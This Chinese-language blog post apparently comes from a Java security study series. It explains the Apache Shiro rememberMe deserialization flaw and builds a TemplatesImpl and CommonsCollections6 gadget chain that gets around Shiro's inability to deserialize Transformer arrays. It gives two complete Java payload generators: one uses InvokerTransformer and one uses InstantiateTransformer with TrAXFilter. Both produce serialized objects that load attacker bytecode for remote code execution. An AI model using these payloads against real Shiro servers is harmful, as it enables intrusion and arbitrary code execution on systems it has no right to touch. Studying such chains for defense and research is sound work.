TemplatesImpl结合cc6在Shiro中的利用

这个文章也是参考p牛的文章;但其中许多细节,就比如为什么普通的Transformer[]数组链不能再shiro中使用;

但其中大致原理还是说一下

先说下shiro反序列化的原理

简单来说就是

shiro 会将用户的登录信息进行序列化保存在Cookie的rememberMe字段中,在服务端读取用户信息时会对这个这段进行一次反序列化;导致客户端可控rememberMe字段的情况下导致的反序列化漏洞;但shiro做了一些校验,先效验aes的key(对其进行一次解密操作),然后再进行反序列化;但shiro550中存在默认的key,导致攻击者知道了这个key后,进行一次aes加密,就可以进行反序列化漏洞的利用;

在这篇文章中主要写的是TemplatesImpl结合cc6在Shiro中的利用;也就是说主题是TemplatesImpl结合cc6;

先来看背景;正常的cc6是无法打shiro的tomcat会报错

原因是:在shiro.io包中重写了resolveClass方法;从ClassUtils.forName(osc.getName())可以看出来这个方法在java中是用来寻找类名的;

而在其父类中使用的是原生的Class.forName

这里直接给出结论:在shiro中使用它自身的反序列化机制;(ClassResolvingObjectInputStream) 无法正确处理包含非Java核心库数组类(如 Transformer[])的序列化流

也就是说shiro中的ClassUtils.forName方法无法"处理"对非java自身的数组的序列化流;

因此这里这里需要构造不含数组的反序列化gadget;

在cc链的调用链中我们知道;它的注入过程是依赖数组形式调用链的;

在之前的动态加载字节码中我们可以绕过InvokerTransformer和Runtime.class;等但依旧依赖Transformer[]数组;

但在LazyMap的get方法中,我们看到它的transform(key);这里传入一个key参数

正常cc链来说,这个key参数无关紧要;因为new ConstantTransformer(Runtime.class)已经可以初始化类对象了;但现在是无法使用Transform数组的;

我们先来看ConstantTransformer这个方法干了什么

可以看到他的作用就是"传进去一个类,在构造transform链子时,返回这个类";而new ConstantTransformer(Runtime.class)正好可以初始化;在比对一下发现 azyMap的get方法中和这个 ConstantTransformer的功能是一样的;传进去一个类,在ChainedTransformer调用时调用transform(Object input) 这里的input 相当于key ;也就是说,如果我们控制这个key为我们传进去的恶意类不也可以初始化了吗;

但是这里不可以使用数组该怎么传进去恶意的指令呢;这里就要回到之前使用过的动态加载字节码(TemplateImp)来绕过了;

如何传入key呢;在整条链子中我们可以知道;TiedMapEntry类的构造函数中可以传入key,并且调用getvalue时,这个key作为get函数的参数,因此我们只需要在TiedMapEntry对象传入恶意字节码类即可

在之前的上一篇文章,cc6结合动态字节码来绕过限制,具体代码如下;但这里的new ConstantTransformer(obj)是不必要的,因为我们可以直接通过key传入我们的恶意字节码类

Transformer[]transformers new Transformer[]
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer",nul1,nul1)
};

以下是完整的payload

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);
       
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

但p牛这里直接用的InvokerTransformer,我们拓展一下,绕过InvokerTransformer,在上一篇文章中我们使用InstantiateTransformer来绕过,如下代码,这次如法炮制依然使用InstantiateTransformer绕过;

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(new Class[]{Templates.class},
        new Object[] {templates}
        )
};

完整代码如下,这段代码中

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        // 初始化一个无害的 InstantiateTransformer,使用String.class和空字符串
        Transformer transformer = new InstantiateTransformer(
                new Class[]{String.class},
                new Object[]{""}
        );

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        // 使用一个临时的无害Class对象(String.class)作为key
        TiedMapEntry tme = new TiedMapEntry(outerMap, String.class);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue"); // 这里会触发一次transform,但无害

        // 清除LazyMap中因put操作产生的缓存(清除掉刚刚生成的String实例)
        outerMap.clear();

        // 修改TiedMapEntry的key为TrAXFilter.class
        setFieldValue(tme, "key", TrAXFilter.class);

        // 修改transformer为恶意参数
        setFieldValue(transformer, "iParamTypes", new Class[]{Templates.class});
        setFieldValue(transformer, "iArgs", new Object[]{obj});
     //   setFieldValue(transformer, "iConstructor", null); // 清除缓存

        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

总结:这篇文章通过shiro的反序列化介绍了,如何通过动态加载字节码(TemplatesImpl)的方式绕过Transform[]数组不可以使用的限制;也就是利用LazyMap的transform方法接受一个key参数;而TiedMapEntry类恰好可以传入一个key;且getvalue调用get方法时会把这个key作为参数;导致了我们可以不使用ConstantTransformer作为构造器就可以实例化恶意类的对象,从而动态加载我们的恶意字节码;最后顺带拓展了一下

使用InstantiateTransformer拓展InvokerTransformer被过滤问题的绕过;

-----------------------------备注----------------------------
参考:
https://github.com/phith0n/JavaThings?tab=readme-ov-file
与其知识星球->代码审计->java系列文章

 posted on 2025-06-02 04:34  ୧૭  阅读(44)  评论(0)    收藏  举报